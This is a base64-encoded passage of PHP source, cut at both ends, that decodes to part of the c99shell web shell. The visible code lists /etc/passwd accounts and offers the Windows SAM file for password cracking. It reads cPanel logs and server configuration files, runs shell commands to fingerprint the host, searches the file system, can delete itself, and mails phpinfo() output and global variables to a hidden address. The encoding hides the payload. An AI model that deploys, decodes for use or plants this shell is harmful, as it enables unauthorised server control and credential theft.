WNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgYzk5c2hleGl0KCk7fQ0KaWYgKCRhY3QgPT0gInNlY3VyaXR5IikNCnsNCiBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjo8L2I+PC9jZW50ZXI+PGI+T3BlbiBiYXNlIGRpcjogIi4kaG9wZW5iYXNlZGlyLiI8L2I+PGJyPiI7DQogaWYgKCEkd2luKQ0KIHsNCiAgaWYgKCRuaXhwYXNzd2QpDQogIHsNCiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9DQogICBlY2hvICI8Yj4qbml4IC9ldGMvcGFzc3dkOjwvYj48YnI+IjsNCiAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9DQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30NCiAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJuaXhwYXNzd2RcIiB2YWx1ZT1cIjFcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHQ9XCIgbmFtZT1cIm5peHB3ZF9zXCIgdmFsdWU9XCIiLiRuaXhwd2Rfcy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJuaXhwd2RfZVwiIHZhbHVlPVwiIi4kbml4cHdkX2UuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+PGJyPiI7DQogICAkaSA9ICRuaXhwd2RfczsNCiAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkNCiAgIHsNCiAgICAkdWlkID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICgkdWlkKQ0KICAgIHsNCiAgICAgJHVpZFsiZGlyIl0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7DQogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOw0KICAgIH0NCiAgICAkaSsrOw0KICAgfQ0KICB9DQogIGVsc2Uge2VjaG8gIjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjxiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2I+PC9hPjxicj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsNCiAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjxiPjxmb250IGNvbG9yPXJlZD5Zb3UgY2FuJ3QgY3JhY2sgd2lubnQgcGFzc3dvcmRzKCIuJHYuIikgPC9mb250PjwvYj48YnI+Ijt9DQogIGVsc2Uge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPllvdSBjYW4gY3JhY2sgd2lubnQgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1zYW0mZD0iLiRfU0VSVkVSWyJXSU5ESVIiXS4iXFxyZXBhaXImZnQ9ZG93bmxvYWRcIj48dT48Yj5Eb3dubG9hZDwvYj48L3U+PC9hPiwgYW5kIHVzZSBsY3AuY3JhY2srIKkuPC9mb250PjwvYj48YnI+Ijt9DQogfQ0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9dXNlcmRvbWFpbnMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+VmlldyBjcGFuZWwgdXNlci1kb21haW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1hY2NvdW50aW5nLmxvZyZkPSIudXJsZW5jb2RlKCIvdmFyL2NwYW5lbC8mZnQ9dHh0IikuIlwiPjx1PjxiPlZpZXcgY3BhbmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvc3lzbG9nLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXN5c2xvZy5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlN5c2xvZyBjb25maWd1cmF0aW9uIChzeXNsb2cuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbW90ZCIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9bW90ZCZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5NZXNzYWdlIE9mIFRoZSBEYXk8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaG9zdHMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXN5c2xvZy5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkhvc3RzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9DQogZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7aWYgKCFlbXB0eSgkdmFsdWUpKSB7aWYgKCFlbXB0eSgkbmFtZSkpIHskbmFtZSA9ICI8Yj4iLiRuYW1lLiIgLSA8L2I+Ijt9IGVjaG8gJG5hbWUubmwyYnIoJHZhbHVlKS4iPGJyPiI7fX0NCiBkaXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbj8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiBkaXNwbGF5c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogZGlzcGxheXNlY2luZm8oIkNQVT8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSEREIHNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiTW91bnQgb3B0aW9ucyAiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgbHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsNCiBkaXNwbGF5c2VjaW5mbygiSXMgbGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBmZXRjaCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogZGlzcGxheXNlY2luZm8oIklzIEdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJJcyBwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBhcGFjaGUiLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7DQogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7DQp9DQppZiAoJGFjdCA9PSAibWtmaWxlIikNCnsNCiBpZiAoJG1rZmlsZSAhPSAkZCkNCiB7DQogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQ0KICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fQ0KICBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTt9DQogfQ0KIGVsc2UgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQp9DQppZiAoJGFjdCA9PSAiZW5jb2RlciIpDQp7DQogZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PjxjZW50ZXI+PGI+RW5jb2Rlcjo8L2I+PC9jZW50ZXI+PGZvcm0gbmFtZT1cImVuY29kZXJcIiBtZXRob2Q9XCJQT1NUXCI+PGI+SW5wdXQ6PC9iPjxjZW50ZXI+PHRleHRhcmVhIG5hbWU9XCJlbmNvZGVyX2lucHV0XCIgaWQ9XCJpbnB1dFwiIGNvbHM9NTAgcm93cz01PiIuQGh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZXJfaW5wdXQpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiY2FsY3VsYXRlXCI+PGJyPjxicj48L2NlbnRlcj48Yj5IYXNoZXM8L2I+Ojxicj48Y2VudGVyPiI7DQogZm9yZWFjaChhcnJheSgibWQ1IiwiY3J5cHQiLCJzaGExIiwiY3JjMzIiKSBhcyAkdikNCiB7DQogIGVjaG8gJHYuIiAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiR2KCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PGJyPiI7DQogfQ0KIGVjaG8gIjwvY2VudGVyPjxiPlVybDo8L2I+PGNlbnRlcj48YnI+dXJsZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+DQogPGJyPnVybGRlY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnModXJsZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkuIlwiIHJlYWRvbmx5Pg0KIDxicj48L2NlbnRlcj48Yj5CYXNlNjQ6PC9iPjxjZW50ZXI+YmFzZTY0X2VuY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLmJhc2U2NF9lbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48L2NlbnRlcj4iOw0KIGVjaG8gIjxjZW50ZXI+YmFzZTY0X2RlY29kZSAtICI7DQogaWYgKGJhc2U2NF9lbmNvZGUoYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCkpICE9ICRlbmNvZGVyX2lucHV0KSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPVwiZmFpbGVkXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQogZWxzZQ0KIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiRkZWJhc2U2NC4iXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiI7fQ0KICBlbHNlIHskcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+Ijt9DQogIGVjaG8gIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNldF9lbmNvZGVyX2lucHV0KGRvY3VtZW50LmZvcm1zLmVuY29kZXIuZGViYXNlNjQudmFsdWUpXCI+PGI+XjwvYj48L2E+IjsNCiB9DQogZWNobyAiPC9jZW50ZXI+PGJyPjxiPkJhc2UgY29udmVydGF0aW9uczwvYj46PGNlbnRlcj5kZWMyaGV4IC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQogJGMgPSBzdHJsZW4oJGVuY29kZXJfaW5wdXQpOw0KIGZvcigkaT0wOyRpPCRjOyRpKyspDQogew0KICAkaGV4ID0gZGVjaGV4KG9yZCgkZW5jb2Rlcl9pbnB1dFskaV0pKTsNCiAgaWYgKCRlbmNvZGVyX2lucHV0WyRpXSA9PSAiJiIpIHtlY2hvICRlbmNvZGVyX2lucHV0WyRpXTt9DQogIGVsc2VpZiAoJGVuY29kZXJfaW5wdXRbJGldICE9ICJcXCIpIHtlY2hvICIlIi4kaGV4O30NCiB9DQogZWNobyAiXCIgcmVhZG9ubHk+PGJyPjwvY2VudGVyPjwvZm9ybT4iOw0KfQ0KaWYgKCRhY3QgPT0gImZzYnVmZiIpDQp7DQogJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOw0KICRhcnJfY3V0ID0gJHNlc3NfZGF0YVsiY3V0Il07DQogJGFyciA9IGFycmF5X21lcmdlKCRhcnJfY29weSwkYXJyX2N1dCk7DQogaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkJ1ZmZlciBpcyBlbXB0eSE8L2I+PC9jZW50ZXI+Ijt9DQogZWxzZSB7ZWNobyAiPGI+RmlsZS1TeXN0ZW0gYnVmZmVyPC9iPjxicj48YnI+IjsgJGxzX2FyciA9ICRhcnI7ICRkaXNwX2Z1bGxwYXRoID0gdHJ1ZTsgJGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCRhY3QgPT0gInNlbGZyZW1vdmUiKQ0Kew0KIGlmICgoJHN1Ym1pdCA9PSAkcm5kY29kZSkgYW5kICgkc3VibWl0ICE9ICIiKSkNCiB7DQogIGlmICh1bmxpbmsoX19GSUxFX18pKSB7QG9iX2NsZWFuKCk7IGVjaG8gIlRoYW5rcyBmb3IgdXNpbmcgYzk5c2hlbGwgdi4iLiRzaHZlci4iISI7IGM5OXNoZXhpdCgpOyB9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogIGlmICghZW1wdHkoJHJuZGNvZGUpKSB7ZWNobyAiPGI+RXJyb3I6IGluY29ycmVjdCBjb25maW1hdGlvbiE8L2I+Ijt9DQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsNCiAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJ1cGRhdGUiKSB7JHJldCA9IGM5OXNoX2dldHVwZGF0ZSghISRjb25maXJtdXBkYXRlKTsgZWNobyAiPGI+Ii4kcmV0LiI8L2I+IjsgaWYgKHN0cmlzdHIoJHJldCwibmV3IHZlcnNpb24iKSkge2VjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLiRzdXJsLiJhY3Q9dXBkYXRlJmNvbmZpcm11cGRhdGU9MSc7XCIgdmFsdWU9XCJVcGRhdGUgbm93XCI+Ijt9fQ0KaWYgKCRhY3QgPT0gImZlZWRiYWNrIikNCnsNCiAkc3VwcG1haWwgPSBiYXNlNjRfZGVjb2RlKCJZems1YzJobGJHeEFhVzVpYjNndWNuVT0iKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgJHRpY2tldCA9IHN1YnN0cihtZDUobWljcm90aW1lKCkrcmFuZCgxLDEwMDApKSwwLDYpOw0KICAkYm9keSA9ICJjOTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldC4iXG5OYW1lOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlxuRS1tYWlsOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcbk1lc3NhZ2U6XG4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIlxuXG5JUDogIi4kUkVNT1RFX0FERFI7DQogIGlmICghZW1wdHkoJGZkYmtfcmVmKSkNCiAgew0KICAgJHRtcCA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgIG9iX2NsZWFuKCk7DQogICBwaHBpbmZvKCk7DQogICAkcGhwaW5mbyA9IGJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpOw0KICAgb2JfY2xlYW4oKTsNCiAgIGVjaG8gJHRtcDsNCiAgICRib2R5IC49ICJcbiIuInBocGluZm8oKTogIi4kcGhwaW5mby4iXG4iLiJcJEdMT0JBTFM9Ii5iYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkR0xPQkFMUykpLiJcbiI7DQogIH0NCiAgbWFpbCgkc3VwcG1haWwsImM5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LCRib2R5LCJGUk9NOiAiLiRzdXBwbWFpbCk7DQogIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZlZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7DQogfQ0KIGVsc2Uge2VjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48Yj5GZWVkYmFjayBvciByZXBvcnQgYnVnICgiLnN0cl9yZXBsYWNlKGFycmF5KCJAIiwiLiIpLGFycmF5KCJbYXRdIiwiW2RvdF0iKSwkc3VwcG1haWwpLiIpOjxicj48YnI+WW91ciBuYW1lOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19uYW1lXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlwiPjxicj48YnI+WW91ciBlLW1haWw6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcIj48YnI+PGJyPk1lc3NhZ2U6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmZGJrX3JlZlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJEhUVFBfUkVGRVJFUikuIlwiPjxicj48YnI+QXR0YWNoIHNlcnZlci1pbmZvICogPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+VGhlcmUgYXJlIG5vIGNoZWNraW5nIGluIHRoZSBmb3JtLjxicj48YnI+KiAtIHN0cm9uZ2x5IHJlY29tbWVuZGVkLCBpZiB5b3UgcmVwb3J0IGJ1ZywgYmVjYXVzZSB3ZSBuZWVkIGl0IGZvciBidWctZml4Ljxicj48YnI+V2UgdW5kZXJzdGFuZCBsYW5ndWFnZXM6IEVuZ2xpc2gsIFJ1c3NpYW4uPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRcIj48L2Zvcm0+Ijt9DQp9DQppZiAoJGFjdCA9PSAic2VhcmNoIikNCnsNCiBlY2hvICI8Yj5TZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOw0KIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9DQogaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiBpZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9DQogaWYgKCFlbXB0eSgkc3VibWl0KSkNCiB7DQogICRmb3VuZCA9IGFycmF5KCk7DQogICRmb3VuZF9kID0gMDsNCiAgJGZvdW5kX2YgPSAwOw0KICAkc2VhcmNoX2lfZiA9IDA7DQogICRzZWFyY2hfaV9kID0gMDsNCiAgJGEgPSBhcnJheQ0KICAoDQogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwgIm5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwNCiAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LCAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAidGV4dF93d28iPT4kc2VhcmNoX3RleHRfd3dvLA0KICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsDQogICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICk7DQogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90aW1lKCk7DQogICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogIGZvcmVhY2goJGluIGFzICR2KSB7Yzk5ZnNlYXJjaCgkdik7fQ0KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1l